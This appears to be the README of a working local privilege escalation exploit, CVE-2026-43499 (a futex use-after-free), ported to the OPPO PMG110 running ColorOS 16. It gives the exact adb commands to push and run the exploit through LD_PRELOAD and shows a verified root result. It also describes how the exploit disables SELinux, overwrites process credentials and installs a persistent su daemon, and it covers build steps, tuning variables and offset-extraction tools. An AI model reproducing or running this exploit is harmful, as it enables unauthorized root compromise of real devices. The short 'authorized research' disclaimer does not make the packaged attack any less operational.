
CVE-2026-43499 (futex PI rt_mutex_waiter use-after-free) local privilege
escalation, ported to the OPPO PMG110 / K15 Pro+ — MediaTek MT6991, ColorOS 16.
One file pushed, run over LD_PRELOAD:
adb push out/preload-pmg110-16.0.9.400.so /data/local/tmp/preload.so
adb shell chmod 644 /data/local/tmp/preload.so
adb shell LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true
On success a persistent su is left behind:
adb shell /data/local/tmp/su -c id # uid=0(root)
Verified on device (2026-07-27): uid=0 in about 35 seconds from a bare run
with no environment overrides, and su answering afterwards from an ordinary
unprivileged adb shell:
$ adb shell "/data/local/tmp/su -c 'echo 0 > /proc/sys/kernel/kptr_restrict'"
$ adb shell "/data/local/tmp/su -c 'grep -w init_task /proc/kallsyms'"
ffffffe89033e780 D init_task
The exploit and the su install are both verified on this device. What that
rooted shell then read back also confirms P0_KERNEL_PHYS_LOAD, the symbol
offsets and KS_MTE_TAGGED=0 independently of the exploit — see
targets/pmg110-16.0.9.400/NOTES.md.
It runs Write 1 (SELinux permissive) and Write 2 (cred → init_cred), gets a
child process to uid=0, and from there installs the embedded su daemon.
su is not a second artifact: su_daemon.c is
built as a standalone aarch64 PIE and .incbin'd into the library's
.rodata, so it rides inside preload.so and is written back out at run
time. warhol-root's route, unchanged.ksud, no KernelSUsu is installed in three places, because one of them is the one you will
actually reach:
The daemon listens on /data/local/tmp/temp_su.sock and logs to
/data/local/tmp/su_daemon.log. Root is not persistent across reboot — re-run
the LD_PRELOAD line after each boot.
For KernelSU installation, use the /data/local/tmp/a/e route in
ghostlock-oneplus instead.
Everything except the exploit core is warhol-root's, taken rather than reinvented:
targets/<device>/, staged into
source/src/ at build time, so switching DEVICE can never leave the
previous device's headers behindsource/Makefile's toolchain selection (NDK if there is one,
host clang against the NDK sysroot if there is not) and the two-stage embed
rule that produces build/embed/su_daemon_aarch64_pie before linking the .sosu_daemon.c and su_blob.S are byte-identical to
warhol-root's, and su_install.c is its preload.c installerThe exploit core is not warhol-root's. warhol-root is popsicle, which is
pinned to GKI 6.12 / android16 and whose generate_target.py refuses any other
banner. PMG110 is 6.6 / android15, so the core here is the ghostlock 6.6 tree —
itself a descendant of the same code (kernelsnitch/utils.h and timeutils.h
are byte-identical between the two repos), further developed.
Every line of the exploit proper — Write 1, Write 2, KernelSnitch, the pselect route — is the same code in both trees.
This is the one structural difference, and it is forced by the two trees getting root in different shapes.
warhol-root roots the exploit process itself and so calls
install_embedded_su() straight from run_direct_root(). Here Write 2 swaps the
cred pointer of a forked child and the parent stays the unprivileged
caller, so the child in child_main() is the only context that can do the
install — that is where it runs.
Both trees carry the same weak install_embedded_su() stub in util.c that
returns ENOSYS; providing the strong definition is what turns the route on.
That is worth knowing because a build that somehow drops su_install.c still
links and still runs — it just reports su=0/38 and installs nothing.
make # = make preload -> out/preload-<DEVICE>.so
make DEVICE=<name> # use targets/<name>/
make devices # list available DEVICE values
make info # show the selected target and the resolved toolchain
The toolchain is found on its own: ANDROID_NDK_HOME / ANDROID_NDK_ROOT
first, then the usual NDK install locations for Linux and macOS, and failing all
of those, host clang targeting the NDK sysroot. Set ANDROID_NDK_HOME only to
override the search. make info prints what it picked.
The build is two stages, which is the part worth knowing:
su_daemon.c → build/embed/su_daemon_aarch64_pie, a standalone aarch64 PIEsu_blob.S .incbins that binary into .rodata, and the whole thing links
into the one preload.soSo make clean and a rebuild are the only way to change the embedded su —
editing su_daemon.c alone is enough, the dependency is declared, but the blob
is a build artifact and is not tracked.
targets/<device>/{target.h,device_offsets.h} are re-staged into source/src/
on every build, so a stale header from another device cannot be picked up
silently.
out/*.so is not tracked (same convention as warhol-root) — clone and make.
The .so is built -fvisibility=hidden and exports zero symbols. An
LD_PRELOAD library wins symbol lookup for the entire process, so anything it
exported could shadow a same-named symbol in the host binary or in libc. That
flag governs C codegen only, so su_blob.S marks its two symbols .hidden by
hand — without those lines the blob bounds would be the only thing the library
still exported.
None of these were needed on the verified run.
[*] futex_hashsize 2048 (8 possible CPUs)
[*] ks collisions=3/3 baseline=8 threshold=10x (80) accepted=[1244..1597] slowest_rejected=N
[+] child uid = 0
[+] embedded su wrote 15304 bytes to /apex/com.android.virt/bin/su
[+] embedded su daemon ready pid=NNNN socket=/data/local/tmp/temp_su.sock daemon=/apex/com.android.virt/bin/su
[+] embedded su install ok=1 errno=0 daemon=NNNN
[+] su ready: /data/local/tmp/su and /apex/com.android.virt/bin/su
[+] ghostlock preload verdict: EXPLOIT OK
child uid = 0 is the exploit succeeding; everything after it is the install.
The two are reported separately on purpose, and so is the verdict:
The middle one is the distinction worth having: it says the offsets in
target.h are right for this build and the problem is somewhere in the install,
which is a completely different thing to debug. su=0/38 (ENOSYS) inside it
specifically means the weak stub is what got linked.
mm_struct leak failed followed by prepare_kernel_page retry N/24 is not a
failure. It is loop progress, and the successful run shows it too. Nothing has
failed until 24 attempts are exhausted and prepare_kernel_page timeout appears.
Likewise probing cfi ... expected=9 with child uid = 2000 is one round
missing, out of ten.
Do not judge a run from a truncated log — that mistake cost a full round of misdiagnosis here.
A whole failed run is normal too. The pselect race is not 100%: a run can
lose it five times over and end in Write 1 failed, and the next run takes it
first try with ret=9. Observed on this device. ret=4 expected=9 is what
losing the race looks like, not a wrong target.h — one failure is not a reason
to go re-derive offsets. Re-run it.
For authorized security research and educational purposes only.
| Device | OPPO PMG110 / K15 Pro+ / OP61E5L1 |
| SoC | MediaTek MT6991 (Dimensity 9500s) |
| Kernel | 6.6.118-android15-8-g93e223c276e7-abogki500782043-4k (GKI, 4K pages) |
| Build | ColorOS 16 / PMG110_16.0.9.400(CN01) — same kernel bytes as 16.0.8.300 |
| Bug | CVE-2026-43499, unfixed in this image (shown by disassembly, not by version) |
| Path | Why |
|---|
/apex/com.android.virt/bin/su | on a tmpfs mounted over that directory; on PATH for a root shell |
/data/local/tmp/su | reachable from a plain adb shell with no PATH games |
/apex/com.android.virt/bin/su in adbd's mount namespace | installed via setns, so a new adb shell sees it |
| File | Relationship |
|---|
util.c slide.c fops.c pipe.c root.c miniadb.c common.h offset.h kernelsnitch/* | ghostlock's, byte-identical |
su_daemon.c su_blob.S | warhol-root's, byte-identical (su_blob.S adds two .hidden lines — see Build) |
su_install.c | warhol-root's preload.c installer, moved to its own file because this tree's preload.c already has a different job |
main.c | ghostlock's, plus the su call in the rooted child and the result reporting |
preload.c | only here — the constructor and the dual-sink log |
offsets.h | struct definition only; the entry is staged from targets/<device>/device_offsets.h |
| Variable | Effect |
|---|
GHOSTLOCK_LOG | log destination (default /data/local/tmp/.ghostlock.log); output goes to stdout and the file |
GHOSTLOCK_KS_VERBOSE=1 | print KernelSnitch's collision addresses and sweep ranges |
GHOSTLOCK_KS_THRESHOLD=<n> | override the collision threshold multiplier |
GHOSTLOCK_MTE=1 | sweep kernel pointer tags as well (15x slower) |
GHOSTLOCK_PHYS_LOAD=0x... | override the kernel physical load address |
PSELECT_SHIFT=<n> | override the stack overlay shift (replaces, does not add) |
| Verdict | Meaning |
|---|
EXPLOIT OK | root, and su answers |
EXPLOIT OK, SU INSTALL FAILED | Write 1 and Write 2 landed; only the install went wrong |
EXPLOIT FAILED | the writes did not land |
ABORTED | the run died before it could report — read the last [!] line |
| Path | Contents |
|---|
source/src/preload.c | constructor: runs the exploit, reports, stops |
source/src/main.c | the exploit itself (Write 1 / Write 2) |
source/src/su_daemon.c | the su binary — built standalone as an aarch64 PIE, not linked into the .so |
source/src/su_blob.S | .incbins that PIE into the .so's .rodata |
source/src/su_install.c | writes the blob back out, starts the daemon, probes it |
source/src/target.h | staging destination (gitignored) |
targets/<device>/target.h | compile-time layout: struct offsets, physmap constants, slab and futex shapes |
targets/<device>/device_offsets.h | global symbol offsets from kallsyms |
tools/extract_device.py | boot.img → offsets, BTF struct fields, pselect overlay result |
tools/preloader_memlayout.py | MediaTek preloader → P0_KERNEL_PHYS_LOAD |
tools/qemu_verify.py | boots the kernel under QEMU: measures the stack overlay, checks linear-map stability |
tools/device_probe.sh | pre-flight check from an unprivileged adb shell |